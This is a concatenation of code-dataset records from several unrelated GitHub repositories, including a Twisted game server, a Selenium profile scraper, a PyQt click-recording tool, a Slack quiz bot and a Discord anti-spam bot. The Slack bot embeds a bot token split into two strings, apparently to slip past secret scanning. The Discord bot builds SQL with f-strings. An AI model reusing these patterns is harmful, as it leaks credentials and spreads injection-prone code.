self.myapplication.AddTypicalCamera(chronoirr.vector3df(0.5,0.5,1.0))\r\n self.myapplication.AddLightWithShadow(chronoirr.vector3df(2,4,2), # point\r\n chronoirr.vector3df(0,0,0), # aimpoint\r\n 9, # radius (power)\r\n 1,9, # near, far\r\n 30) # angle of FOV\r\n self.myapplication.AssetBindAll()\r\n self.myapplication.AssetUpdateAll()\t\r\n self.render_setup = True\r\n \r\n self.myapplication.GetDevice().run()\r\n self.myapplication.BeginScene()\r\n self.myapplication.DrawAll() \r\n self.myapplication.EndScene()\r\n \r\n","repo_name":"projectchrono/gym-chrono","sub_path":"gym_chrono/envs/basic/ChronoPendulum.py","file_name":"ChronoPendulum.py","file_ext":"py","file_size_in_byte":7851,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"} +{"seq_id":"41260166300","text":"import argparse\nimport binascii\nimport ConfigParser\n\nimport lego_game\nimport lego_transport\n\nfrom twisted.internet import protocol, reactor\n\nfrom lego.ttypes import ClientActions\n\nSECTION_WORLD = 'world'\n \nclass LegoProtocol(protocol.Protocol): \n def __init__(self, state, handlers, users):\n self.users = users\n self.handlers = handlers\n self.state = state\n self.message_to_class = {}\n self.message_to_handler = {}\n for handler in handlers:\n self.message_to_class[handler.message_id] = handler.transport_class\n self.message_to_handler[handler.message_id] = handler\n \n def connectionMade(self):\n print(\"Connection made\")\n \n def dataReceived(self, data):\n #~ print(\"Data received {0}\".format(binascii.hexlify(data)))\n client_actions = ClientActions()\n lego_transport.read_binary(client_actions, data)\n \n player_id = client_actions.playerId\n self.name = player_id\n self.users[self.name] = self\n print(\"Player {0}\".format(player_id))\n tuples = lego_transport.read_custom(client_actions.actions, self.message_to_class)\n queue = []\n for id, tbase in tuples:\n print(tbase)\n self.message_to_handler[id].handle(self.state, player_id, tbase, queue)\n \n queue.extend(self.state.players[player_id].pending)\n self.state.players[player_id].pending = []\n if queue:\n self.write(lego_transport.write_custom(queue))\n \n for name, protocol in self.users.iteritems():\n if protocol != self:\n protocol.write(lego_transport.write_custom(self.state.players[name].pending))\n self.state.players[name].pending = []\n \n def connectionLost(self, reason = protocol.connectionDone):\n print(\"Connection lost\")\n if self.users.has_key(self.name):\n del self.users[self.name]\n \n def write(self, data):\n #~ print(\"Response {0}\".format(binascii.hexlify(data)))\n self.transport.write(data)\n \nclass LegoFactory(protocol.ServerFactory):\n def __init__(self, state):\n self.handlers = [lego_game.PlayerConnectHandler(), lego_game.BrickUpdateHandler()]\n self.state = state\n self.users = {}\n \n def buildProtocol(self, addr):\n return LegoProtocol(self.state, self.handlers, self.users)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--config', '-c', required = True)\n arguments = parser.parse_args()\n \n config = ConfigParser.ConfigParser()\n config.read(arguments.config)\n rows = config.getint(SECTION_WORLD, 'rows')\n columns = config.getint(SECTION_WORLD, 'columns')\n\n game_state = lego_game.GameState(rows, columns)\n factory = LegoFactory(game_state)\n\n reactor.listenTCP(8123, factory)\n reactor.run()\n ","repo_name":"epsilone/FishAdventure","sub_path":"Prototype/Network01/server/lego_server.py","file_name":"lego_server.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13406192771","text":"from selenium import webdriver\n\n\ndef ViewsData(driver):\n\tdriver.get(f\"https://komarev.com/ghpvc/?username={username}\")\n\tviews = int(\n\t\tdriver.find_element_by_css_selector(\n\t\t\t\"svg > g:nth-child(4) > text:nth-child(4)\"\n\t\t\t).get_attribute(\"innerHTML\")\n\t\t)\n\treturn views\n\ndef FollowData(driver):\n\tdriver.get(f\"https://www.github.com/{username}\")\n\ttry:\n\t\tfollow = driver.find_element_by_css_selector(\n\t\t\t\"span.text-bold.color-text-primary\"\n\t\t\t)\n\texcept:\n\t\treturn \"Not Found\"\n\n\tif follow:\n\t\treturn follow.text\n\telse:\n\t\treturn \"Not Found\"\n\ndef BioData(driver):\n\tdriver.get(f\"https://github.com/{username}\")\n\ttry:\n\t\tk = driver.find_element_by_css_selector(\n\t\t\"div.p-note.user-profile-bio.mb-3.js-user-profile-bio.f4\"\n\t\t)\n\n\t\tbio = k.find_element_by_css_selector(\n\t\t\t\"div\"\n\t\t\t)\n\texcept:\n\t\treturn \"Not Found\"\n\n\tif bio:\n\t\treturn bio.text\n\telse:\n\t\treturn \"Not Found\"\n\ndef LocationData(driver):\n\ttry:\n\t\tk = driver.find_element_by_css_selector(\"div.js-profile-editable-area.d-flex.flex-column.d-md-block\")\n\t\tlocation = k.find_element_by_css_selector(\n\t\t\t\"span.p-label\"\n\t\t\t)\n\texcept:\n\t\treturn \"Not Found\"\n\tif location:\n\t\treturn location.text\n\telse:\n\t\treturn \"Not Found\"\n\n\nusername = input(\"Username > \")\ndriver = webdriver.Chrome(executable_path=\"chromedriver.exe\")\nViewsDD = ViewsData(driver)\nFollowDD = FollowData(driver)\nBioDD = BioData(driver)\nLocaDD = LocationData(driver)\n\ndef DisplayEvent():\n\n\tdriver.quit()\n\n\tprint(f\"Username : {username}\")\n\tprint(f\"Bio : {BioDD}\")\n\tprint(f\"Location : {LocaDD}\")\n\n\tif ViewsDD <= 1:\n\t\tprint(f\"Profils view : {ViewsDD} view\")\n\telse:\n\t\tprint(f\"Profils views : {ViewsDD} views\")\n\tprint(f\"Followers : {FollowDD}\")\n\n\tprint(f\"Links profile : https://github.com/{username}\")\n\nDisplayEvent()\n","repo_name":"MaxenceR26/github-script","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70604808893","text":"\"\"\"\nAuthor: AkiraXie\nDate: 2021-02-11 02:47:12\nLastEditors: AkiraXie\nLastEditTime: 2022-02-16 18:31:52\nDescription: \nGithub: http://github.com/AkiraXie/\n\"\"\"\nfrom nonebot.typing import T_State\nfrom hoshino import Service, aiohttpx\n\nsv = Service(\"nbnhhsh\")\nnbn = sv.on_regex(r\"^[\\?\\?]{1,2} ?([a-z0-9]+)$\", only_group=False)\n\n\n@nbn.handle()\nasync def _(state: T_State):\n text = state[\"match\"].group(1)\n resp = await aiohttpx.post(\n \"https://lab.magiconch.com/api/nbnhhsh/guess\", json={\"text\": text}\n )\n j = resp.json\n if len(j) == 0:\n await nbn.finish(f\"{text}: 没有结果\")\n res = j[0]\n name = res.get(\"name\")\n trans = res.get(\"trans\", [\"没有结果\"])\n msg = \"{}: {}\".format(\n name,\n \" \".join(trans),\n )\n await nbn.finish(msg)\n","repo_name":"AkiraXie/hoshino.nb2","sub_path":"hoshino/modules/tools/nbnhhsh.py","file_name":"nbnhhsh.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"78"} +{"seq_id":"11764316242","text":"#!/usr/bin/env python3\n\"\"\"\nrecord click positions for images from a directory\n\"\"\"\n\nCHOOSE_REFERENTIAL = False\n\nimport sys\nimport os\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nimport glob\nimport json\nimport pathlib\nimport shutil\n\n__version__ = \"2020.01.31\"\n\nIMAGE_HEIGHT = 720\nIMAGE_EXTENSION = \"jpg\"\n\n\nclass ImageViewer(QWidget):\n\n def __init__(self):\n super().__init__()\n\n if len(sys.argv) == 1:\n img_dir = QFileDialog(self).getExistingDirectory(self, \"Choose a directory of images\",\n \"\", options=QFileDialog.ShowDirsOnly)\n if not img_dir:\n sys.exit()\n else:\n img_dir = sys.argv[1]\n\n self.glb = sorted(glob.glob(img_dir + \"/*.\" + IMAGE_EXTENSION))\n\n if not len(self.glb):\n QMessageBox.warning(self, \"\", \"No images found\", QMessageBox.Ok | QMessageBox.Default, QMessageBox.NoButton)\n sys.exit()\n\n self.idx = 0\n self.mem = {}\n self.ref = []\n\n # check if a file of results already exists\n filename_results = pathlib.Path(self.glb[self.idx]).parent.with_suffix(\".txt\")\n if filename_results.exists():\n print(\"reload results\")\n for row in open(filename_results).readlines():\n try:\n img, x, y = row.strip().split(\"\\t\")\n self.mem[img] = (int(x), int(y))\n except Exception:\n print(row.strip().split(\"\\t\"))\n\n self.mem_pos_xy = []\n\n\n vbox = QVBoxLayout()\n self.image = QLabel()\n\n vbox.addWidget(self.image)\n\n verticalSpacer = QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding)\n vbox.addItem(verticalSpacer)\n\n self.image.mousePressEvent = self.getPos\n self.setMouseTracking(True)\n\n self.hboxlayout = QHBoxLayout()\n\n '''\n self.cb_ref = QCheckBox(\"Def ref\")\n self.hboxlayout.addWidget(self.cb_ref)\n '''\n\n '''\n self.n_objects = QLineEdit()\n self.hboxlayout.addWidget(self.n_objects)\n self.n_objects.setText(\"1\")\n '''\n\n self.file_name = QLineEdit()\n self.file_name.setReadOnly(True)\n self.hboxlayout.addWidget(self.file_name)\n\n self.stat = QLineEdit()\n self.stat.setReadOnly(True)\n self.hboxlayout.addWidget(self.stat)\n\n self.clear_button = QPushButton(\"Clear\")\n self.clear_button.clicked.connect(self.clear)\n self.hboxlayout.addWidget(self.clear_button)\n\n\n self.goto_button = QPushButton(\"go to\")\n self.goto_button.clicked.connect(self.goto)\n self.hboxlayout.addWidget(self.goto_button)\n\n self.next_empty_button = QPushButton(\"Next img w/o positions\")\n self.next_empty_button.clicked.connect(self.next_empty)\n self.hboxlayout.addWidget(self.next_empty_button)\n\n\n self.positions = QLineEdit()\n self.hboxlayout.addWidget(self.positions)\n\n self.save_data_button = QPushButton(\"save data to disk\")\n self.save_data_button.clicked.connect(self.save_data)\n self.hboxlayout.addWidget(self.save_data_button)\n\n '''\n self.reset_button = QPushButton(\"delete positions\")\n self.reset_button.clicked.connect(self.reset)\n self.hboxlayout.addWidget(self.reset_button)\n '''\n\n self.previous_button = QPushButton(\"previous\")\n self.previous_button.clicked.connect(self.previous_image)\n self.hboxlayout.addWidget(self.previous_button)\n\n self.next_button = QPushButton(\"next\")\n self.next_button.clicked.connect(lambda: self.next_image(False))\n self.hboxlayout.addWidget(self.next_button)\n\n self.next10_button = QPushButton(\"validate next 10\")\n self.next10_button.clicked.connect(self.next10)\n self.hboxlayout.addWidget(self.next10_button)\n\n\n '''\n self.bt_skip = QPushButton(\"Skip\")\n self.bt_skip.clicked.connect(self.skip)\n self.hboxlayout.addWidget(self.bt_skip)\n '''\n\n\n '''\n self.save_next_button = QPushButton(\"accept and next\")\n self.save_next_button.clicked.connect(self.save_next_image)\n self.hboxlayout.addWidget(self.save_next_button)\n '''\n\n vbox.addLayout(self.hboxlayout)\n\n self.setLayout(vbox)\n\n self.file_name.setText(os.path.basename(self.glb[self.idx]))\n self.stat.setText(\"{} / {}\".format(self.idx + 1, len(self.glb)))\n\n self.show()\n # self.showFullScreen()\n #self.showMaximized()\n\n self.load_image(self.glb[self.idx])\n\n if CHOOSE_REFERENTIAL and not self.ref:\n self.cb_ref.setChecked(True)\n QMessageBox.information(self, \"Definition of the referential\", \"Click in this order the (0,0) point, the Xmax and the Ymax points\",\n QMessageBox.Ok | QMessageBox.Default, QMessageBox.NoButton)\n\n def closeEvent(self, event):\n print(\"close\")\n result = QMessageBox.question(self, \"Info\", \"Do you want to save the results?\", QMessageBox.Cancel | QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n\n if result == QMessageBox.Yes:\n self.save_data()\n\n if result == QMessageBox.Cancel:\n event.ignore()\n\n def clear(self):\n \"\"\"clear position on current image\"\"\"\n bn = os.path.basename(self.glb[self.idx])\n\n if bn in self.mem:\n self.mem[bn] = ()\n self.positions.setText(\"\")\n self.mem_pos_xy = []\n\n self.mem_pos_xy = ()\n self.load_image(self.glb[self.idx])\n\n\n\n\n def next_empty(self):\n \"\"\"\n go to the first image of list with empty positions\n \"\"\"\n while True:\n self.idx += 1\n if self.idx >= len(self.glb):\n QMessageBox.information(self, \"info\", \"All images have positions\",\n QMessageBox.Ok | QMessageBox.Default, QMessageBox.NoButton)\n break\n\n if os.path.basename(self.glb[self.idx]) not in self.mem:\n self.idx -= 1\n\n self.mem_pos_xy = []\n\n self.next_image()\n break\n\n\n def goto(self):\n \"\"\"\n go to an arbitrary image\n \"\"\"\n i, okPressed = QInputDialog.getInt(self, \"Go to an image index\", \"index:\", 1, 0, 10000, 1)\n if okPressed:\n self.idx = i - 1\n print(\"go to \", self.idx)\n\n self.mem_pos_xy = []\n\n self.next_image()\n\n\n def skip(self):\n \"\"\"\n skip image\n \"\"\"\n self.reset()\n\n butta_dir = str(pathlib.Path(self.glb[self.idx]).parent) + \"_BUTTA\"\n if not os.path.isdir(butta_dir):\n os.mkdir(butta_dir)\n shutil.move(self.glb[self.idx], butta_dir)\n\n self.next_image()\n\n\n def save_data(self):\n \"\"\"\n save data in json and TSV\n \"\"\"\n\n filename_txt = pathlib.Path(self.glb[self.idx]).parent.with_suffix(\".txt\")\n print(filename_txt)\n # filename, _ = QFileDialog(self).getSaveFileName(self, \"Save data\", \"\", \"All files (*)\")\n out = \"\"\n '''\n # referential\n if \"REF\" in self.mem:\n out += \"REF\"\n for pos in self.mem[\"REF\"]:\n out += \"\\t{}\\t{}\".format(pos[0],pos[1])\n out = out + \"\\n\"\n '''\n\n for k in sorted(list(self.mem.keys())):\n if k == \"REF\":\n continue\n out += k + \"\\t\"\n '''\n for i in range(int(self.n_objects.text())):\n '''\n out += \"{}\\t{}\\t\".format(self.mem[k][0], self.mem[k][1])\n out = out[:-1] + \"\\n\"\n\n with open(filename_txt, \"w\") as f_out:\n f_out.write(out)\n\n '''\n filename_json = pathlib.Path(self.glb[self.idx]).parent.with_suffix(\".json\")\n data = json.dumps(self.mem)\n with open(filename_json, \"w\") as f_out:\n f_out.write(data)\n '''\n\n QMessageBox.information(self, \"info\", \"Positions saved\", QMessageBox.Ok | QMessageBox.Default, QMessageBox.NoButton)\n\n\n def reset(self):\n bn = os.path.basename(self.glb[self.idx])\n if bn in self.mem:\n del self.mem[bn]\n self.positions.setText(\"\")\n self.mem_pos_xy = []\n\n self.load_image(self.glb[self.idx])\n\n\n def previous_image(self):\n \"\"\"\n previous image without saving positions\n \"\"\"\n\n if self.idx > 0:\n self.idx -= 1\n self.load_image(self.glb[self.idx])\n\n bn = os.path.basename(self.glb[self.idx])\n if bn in self.mem:\n self.positions.setText(str(self.mem[bn]))\n\n print(\"position already saved\")\n\n painter = QPainter()\n painter.begin(self.image.pixmap())\n painter.setPen(QColor(\"red\"))\n painter.drawEllipse(QPoint(self.mem[bn][0], self.mem[bn][1]), 3, 3)\n\n '''\n for i in range(int(self.n_objects.text())):\n painter.drawEllipse(QPoint(self.objects_position[i][0], self.objects_position[i][1]), 3, 3)\n painter.drawText(QPoint(self.objects_position[i][0] + 3, self.objects_position[i][1] + 3), str(i+1))\n '''\n painter.end()\n self.image.update()\n\n\n\n else:\n self.positions.setText(\"\")\n self.file_name.setText(bn)\n self.stat.setText(\"{} / {}\".format(self.idx + 1, len(self.glb)))\n\n else:\n QMessageBox.warning(self, \"\", \"First image of directory\", QMessageBox.Ok | QMessageBox.Default, QMessageBox.NoButton)\n\n\n def load_image(self, file_name):\n \"\"\"\n load image in label\n scaled in height\n \"\"\"\n pixmap = QPixmap()\n pixmap.load(file_name)\n pixmap = pixmap.scaledToHeight(IMAGE_HEIGHT)\n\n self.image.setPixmap(pixmap)\n\n\n def next10(self):\n bn = os.path.basename(self.glb[self.idx])\n if bn in self.mem:\n mem = self.mem[bn]\n for i in range(10):\n self.idx += 1\n bn = os.path.basename(self.glb[self.idx])\n self.mem[bn] = mem\n self.positions.setText(str(self.mem[bn]))\n self.idx -= 1\n self.next_image()\n\n\n def next_image(self, show_last=True):\n \"\"\"\n next image\n \"\"\"\n\n if self.idx < len(self.glb) - 1:\n self.idx += 1\n\n self.load_image(self.glb[self.idx])\n\n # bn_previous = os.path.basename(self.glb[self.idx - 1])\n\n bn = os.path.basename(self.glb[self.idx])\n\n if show_last:\n if bn not in self.mem and self.mem_pos_xy:\n painter = QPainter()\n painter.begin(self.image.pixmap())\n painter.setPen(QColor(\"lime\"))\n painter.drawEllipse(QPoint(self.mem_pos_xy[0], self.mem_pos_xy[1]), 3, 3)\n '''\n for i in range(int(self.n_objects.text())):\n painter.drawEllipse(QPoint(self.mem_pos_xy[i][0], self.mem_pos_xy[i][1]), 3, 3)\n painter.drawText(QPoint(self.mem_pos_xy[i][0] + 3, self.mem_pos_xy[i][1] + 3), str(i+1))\n '''\n\n painter.end()\n self.image.update()\n\n\n if bn in self.mem:\n print(\"position already saved\")\n self.positions.setText(str(self.mem[bn]))\n\n painter = QPainter()\n painter.begin(self.image.pixmap())\n painter.setPen(QColor(\"red\"))\n\n print(self.mem[bn][0], self.mem[bn][1])\n painter.drawEllipse(QPoint(self.mem[bn][0], self.mem[bn][1]), 3, 3)\n self.mem_pos_xy = self.mem[bn]\n '''\n for i in range(int(self.n_objects.text())):\n painter.drawEllipse(QPoint(self.objects_position[i][0], self.objects_position[i][1]), 3, 3)\n painter.drawText(QPoint(self.objects_position[i][0] + 3, self.objects_position[i][1] + 3), str(i+1))\n '''\n\n painter.end()\n self.image.update()\n\n else:\n self.positions.setText(\"\")\n self.file_name.setText(bn)\n\n self.stat.setText(\"{} / {}\".format(self.idx + 1, len(self.glb)))\n\n else:\n QMessageBox.warning(self, \"\", \"Last image of directory\", QMessageBox.Ok | QMessageBox.Default, QMessageBox.NoButton)\n\n\n def keyPressEvent(self, event):\n #print(event.key())\n\n bn = os.path.basename(self.glb[self.idx])\n\n if event.key() == Qt.Key_Z:\n self.previous_image()\n\n\n if event.key() == Qt.Key_X:\n self.next_image(False)\n\n\n\n def getPos(self, event):\n\n x = event.pos().x()\n y = event.pos().y()\n print(x, y)\n\n bn = os.path.basename(self.glb[self.idx])\n\n # positions\n if event.button() == Qt.LeftButton:\n\n self.load_image(self.glb[self.idx])\n painter = QPainter()\n painter.begin(self.image.pixmap())\n painter.setPen(QColor(\"red\"))\n painter.drawEllipse(QPoint(x, y), 3, 3)\n painter.end()\n self.image.update()\n\n self.mem[bn] = (x, y)\n self.mem_pos_xy = (x,y)\n self.positions.setText(str(self.mem[bn]))\n self.next_image()\n\n # load next image\n if event.button() == Qt.RightButton:\n if bn not in self.mem:\n self.mem[bn] = self.mem_pos_xy\n self.positions.setText(str(self.mem[bn]))\n self.next_image()\n\n # validate previous positions\n if event.button() == Qt.MiddleButton:\n self.clear()\n\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n app.setApplicationDisplayName(\"Click position - v. {}\".format(__version__))\n ex = ImageViewer()\n sys.exit(app.exec_())\n","repo_name":"olivierfriard/spider_tracker","sub_path":"click_position.py","file_name":"click_position.py","file_ext":"py","file_size_in_byte":14140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74648984890","text":"from typing import Any\r\n\r\nfrom .value import Value\r\n\r\n\r\nclass MembersCount(Value):\r\n def __init__(self, entity: Any):\r\n \"\"\"Value that gives the number of members in a group or channel\r\n\r\n :param entity: Entity\r\n \"\"\"\r\n self.entity = entity\r\n\r\n async def get(self, **data) -> int:\r\n return (await data[\"client\"].get_participants(await Value.resolve(self.entity, **data),\r\n limit=0)).total\r\n","repo_name":"dmitrijkotov634/autobio","sub_path":"modules/memberscount.py","file_name":"memberscount.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"78"} +{"seq_id":"72134168571","text":"import os\nimport time\nimport random\nimport threading\n\nfrom slackclient import SlackClient\n\nfrom django.shortcuts import render\nfrom user.models import User\nfrom quiz.models import Quiz\n\n\n# starterbot's ID\nBOT_ID = 'U632C7TJT'\n\n# constants\nAT_BOT = \"<@\" + BOT_ID + \">\"\nHELLO_COMMAND = [\"hi\", \"hello\", \"하이\", \"ㅎㅇ\", \"안녕\", \"안녕하세요\", \"안뇽\"]\nHELLO_RETURN = \"안녕하세요, OX퀴즈 챗봇입니다. OX퀴즈 하시겠어요? 전 아직 다른 일은 못해요.\"\nNEGATIVE_RETURN = \"유감이네요. 안녕히 가세요.\"\nSORRY_RETURN = \"미안해요.. 급하게 만든거라 다른 말은 대답 못해요. OX퀴즈나 풀어봅시다!\"\nGENERAL_POSITIVE_ANSWER_TEXT = [\"ㅇ\", \"ㅇㅇ\", \"응\", \"그래\", \"알았어\", \"해봐\"]\nGENERAL_NEGATIVE_ANSWER_TEXT = [\"ㄴ\", \"ㄴㄴ\", \"그만\", \"아니\", \"아니오\", \"아니요\"]\nOX_ANSWER_O = \"O\"\nOX_ANSWER_X = \"X\"\n\n# Slack clients\ntoken1 = 'xoxb-2070802'\ntoken2 = '65639-bO124q1E3OmwgVEkzI0XsAWD'\nslack_client = SlackClient(token1 + token2)\n\n\ndef handle_command(command, channel, uid):\n\n # user check for context\n user = None\n result = User.checkUser(uid)\n if not result:\n user = User.createUser(uid)\n else:\n user = result\n\n # answer process\n if user.context == \"answer_quiz\":\n if command.lower() == \"o\" or command.lower() == \"x\":\n result, quiz_info = Quiz.checkCorrectAnswer(user.quizNum, command)\n user.nextQuiz()\n user.setContext(\"wait_quiz\")\n response = result + \"\\n\" + quiz_info + \"\\n\" + \"다음문제를 푸시겠습니까?\"\n else:\n response = \"O, X로 정답을 입력해 주세요.\"\n\n slack_client.api_call(\"chat.postMessage\", channel=channel, text=response, as_user=True)\n return True\n\n elif user.context == \"wait_quiz\":\n if command in GENERAL_POSITIVE_ANSWER_TEXT:\n quiz = Quiz.getQuiz(user.quizNum)\n if quiz:\n user.setContext(\"answer_quiz\")\n response = \"다음 문제입니다.\" + \"\\n\"\n response = response + quiz.quiz\n else:\n user.setContext(\"normal\")\n user.setQuizNum(0)\n response = \"더이상 풀 문제가 없습니다.\"\n\n elif command in GENERAL_NEGATIVE_ANSWER_TEXT:\n user.setContext(\"normal\")\n response = NEGATIVE_RETURN\n else:\n response = SORRY_RETURN\n\n slack_client.api_call(\"chat.postMessage\", channel=channel, text=response, as_user=True)\n return True\n\n else:\n if command in HELLO_COMMAND:\n response = HELLO_RETURN\n elif command in GENERAL_POSITIVE_ANSWER_TEXT:\n quiz = Quiz.getQuiz(user.quizNum)\n if quiz:\n user.setContext(\"answer_quiz\")\n response = \"OX 퀴즈를 시작하겠습니다.\" + \"\\n\"\n response = response + quiz.quiz\n else:\n response = \"더이상 풀 문제가 없습니다.\"\n else:\n response = SORRY_RETURN\n\n slack_client.api_call(\"chat.postMessage\", channel=channel, text=response, as_user=True)\n return True\n\n\ndef parse_slack_output(slack_rtm_output):\n output_list = slack_rtm_output\n if output_list and len(output_list) > 0:\n for output in output_list:\n if output and 'text' in output and AT_BOT in output['text']:\n return output['text'].split(AT_BOT)[1].strip().lower(), output['channel'], output['user']\n return None, None, None\n\n\ndef slack_bot_starter():\n READ_WEBSOCKET_DELAY = 1\n if slack_client.rtm_connect():\n print(\"StarterBot connected and running!\")\n while True:\n read = slack_client.rtm_read()\n command, channel, uid = parse_slack_output(read)\n if command and channel and uid:\n handle_command(command, channel, uid)\n time.sleep(READ_WEBSOCKET_DELAY)\n else:\n print(\"Connection failed. Invalid Slack token or bot ID?\")\n\n\n# Django background must need linker view\ndef Linker(request):\n return render(request)\n\n\n# start slackbot on background\nt = threading.Thread(target=slack_bot_starter, args=())\nt.daemon = True\nt.start()","repo_name":"yoonkt200/toy-hackathon-autochat-api","sub_path":"Chat/slackbot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6475577113","text":"import discord\r\nfrom discord.ext import commands\r\nfrom datetime import datetime as dt\r\nfrom datetime import timedelta\r\nimport mysql.connector\r\n\r\n#Globals variables and bot's options\r\nhostname_db = \"ip address\"\r\nusername_db = \"username\"\r\npassword_db = \"password\"\r\nguild_id = None #server_id\r\nintents = discord.Intents.default()\r\nintents.message_content = True\r\nintents.members = True\r\nintents.reactions = True\r\nactivity = discord.Activity(name=\"/help\", type=discord.ActivityType.listening)\r\nbot=commands.Bot(command_prefix=\"!\",intents=intents, activity=activity)\r\nbot.remove_command(\"help\")\r\n\r\n#custom function\r\n\r\n#discord events\r\n@bot.event\r\nasync def on_ready():\r\n await bot.wait_until_ready()\r\n print(\"Logged as\", bot.user)\r\n\r\n@bot.event\r\nasync def on_message(message):\r\n user_id = message.author.id\r\n content = message.content\r\n channel = message.channel\r\n cur_time = dt.utcnow()\r\n cur_time_message = int(cur_time.strftime(\"%d%m%Y%H%M%S\"))\r\n def spam_messages(mex):\r\n return mex.author == message.author and mex.content == message.content\r\n if message.author != bot.user and message.guild and message.guild.id == guild_id:\r\n try:\r\n conn = mysql.connector.Connect(host=hostname_db,user=username_db,password=password_db)\r\n cursor = conn.cursor()\r\n cursor.execute(f\"SELECT last_message,flag FROM discord.spam WHERE user_id='{user_id}'\")\r\n data = cursor.fetchall()\r\n if data:\r\n last_message,flag = data[0]\r\n #spam detected\r\n if cur_time_message-last_message>=0 and cur_time_message-last_message<=10:\r\n if flag ==3:\r\n cursor.execute(f\"UPDATE discord.spam SET last_message={cur_time_message},flag=0 WHERE user_id='{user_id}'\")\r\n conn.commit()\r\n await message.author.send(f\"You've got over 3 spam warnings. You have been banned.\")\r\n await message.author.ban(reason=\"Over 3 spam warnings\")\r\n else:\r\n cursor.execute(f\"UPDATE discord.spam SET last_message={cur_time_message},flag={flag+1} WHERE user_id='{user_id}'\")\r\n conn.commit()\r\n await message.author.timeout(cur_time + timedelta(minutes=5),reason=\"Spam\")\r\n await message.author.send(f\"You're spamming. Every your message's going to be deleted. If you get over 3 warnings, you'll get banned.\\nYour warnings: {flag+1}\")\r\n await channel.purge(check=spam_messages)\r\n #spam didn't detect\r\n else:\r\n cursor.execute(f\"UPDATE discord.spam SET last_message={cur_time_message} WHERE user_id='{user_id}'\")\r\n conn.commit()\r\n else:\r\n cursor.execute(f\"INSERT INTO discord.spam (user_id,last_message) VALUES ('{user_id}',{cur_time_message})\")\r\n conn.commit()\r\n cursor.close()\r\n conn.close()\r\n except mysql.connector.errors.Error:\r\n print(\"Database connection hasn't been established\")\r\n except discord.errors.Forbidden:\r\n print(\"Missing permissions.\")\r\n except:\r\n print(\"Anything is wrong\")\r\n\r\n#Run the bot\r\nbot.run(\"token-bot\")","repo_name":"madoverflow/discord-python","sub_path":"antispam bot/antispambot.py","file_name":"antispambot.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"22961667132","text":"\"\"\"\nCRACKING THE CODING INTERVIEW\nChapter 5 - Bit Manipulation\n\"\"\"\n\n\ndef get_bit(num: int, i: int) -> bool:\n return num & (1 << i) != 0\n\n\ndef set_bit(num: int, i: int) -> int:\n return num | (1 << i)\n\n\ndef clear_bit(num: int, i: int) -> int:\n mask = ~(1 << i)\n return num & mask\n\n\ndef clear_bit_msb_through_i(num: int, i: int) -> int:\n mask = (1 << i) - 1\n return num & mask\n\n\ndef clear_bits_i_through_0(num: int, i: int) -> int:\n mask = -1 << (i + 1)\n return num & mask\n\n\ndef update_bit(num: int, i: int, bit_is_1: int) -> int:\n value = 1 if bit_is_1 else 0\n mask = ~(1 << i)\n return (num & mask) | (value << i)\n\n\ndef pos_int_to_binary(num: int) -> str:\n res = []\n while num > 0:\n res.append(num & 1)\n num >>= 1\n if not res:\n return \"0\"\n return \"\".join(str(i) for i in res[::-1])\n\n\nif __name__ == \"__main__\":\n num = 6\n binary_num = pos_int_to_binary(num)\n int_bin_str = f\"{num} = {binary_num}\"\n\n print(\"\\n>> Get Bit:\")\n print(int_bin_str)\n for i in range(4):\n print(f\"get_bit({num}, {i}) =\", get_bit(num, i))\n\n print(\"\\n>> Set Bit:\")\n print(int_bin_str)\n for i in range(4):\n print(f\"set_bit({num}, {i}) =\", set_bit(num, i))\n\n print(\"\\n>> Clear Bit:\")\n print(int_bin_str)\n for i in range(4):\n print(f\"clear_bit({num}, {i}) =\", clear_bit(num, i))\n\n print(\"\\n>> Clear Bit (most significant bit through i, inclusive):\")\n print(int_bin_str)\n for i in range(4):\n print(f\"clear_bit_msb_through_i({num}, {i}) =\", clear_bit_msb_through_i(num, i))\n\n print(\"\\n>> Clear Bit (i through 0, inclusive):\")\n print(int_bin_str)\n for i in range(4):\n print(f\"clear_bits_i_through_0({num}, {i}) =\", clear_bits_i_through_0(num, i))\n\n print(\"\\n>> Update Bit:\")\n print(int_bin_str)\n new_bit = 1\n for i in range(4):\n print(f\"update_bit({num}, {i}, {new_bit}) =\", update_bit(num, i, new_bit))\n\n print(\"\\n>> Positive int to binary:\")\n for i in range(9):\n print(f\"pos_int_to_binary({i}) = {pos_int_to_binary(i):>4}\")\n\n print()\n","repo_name":"daalgi/algorithms","sub_path":"bit-manipulation/common_tasks.py","file_name":"common_tasks.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"18645589031","text":"\"\"\"empty message\n\nRevision ID: c5988fdbc98a\nRevises: f35a4d2ee631\nCreate Date: 2021-06-15 18:33:42.016000\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c5988fdbc98a'\ndown_revision = 'f35a4d2ee631'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('issues',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', 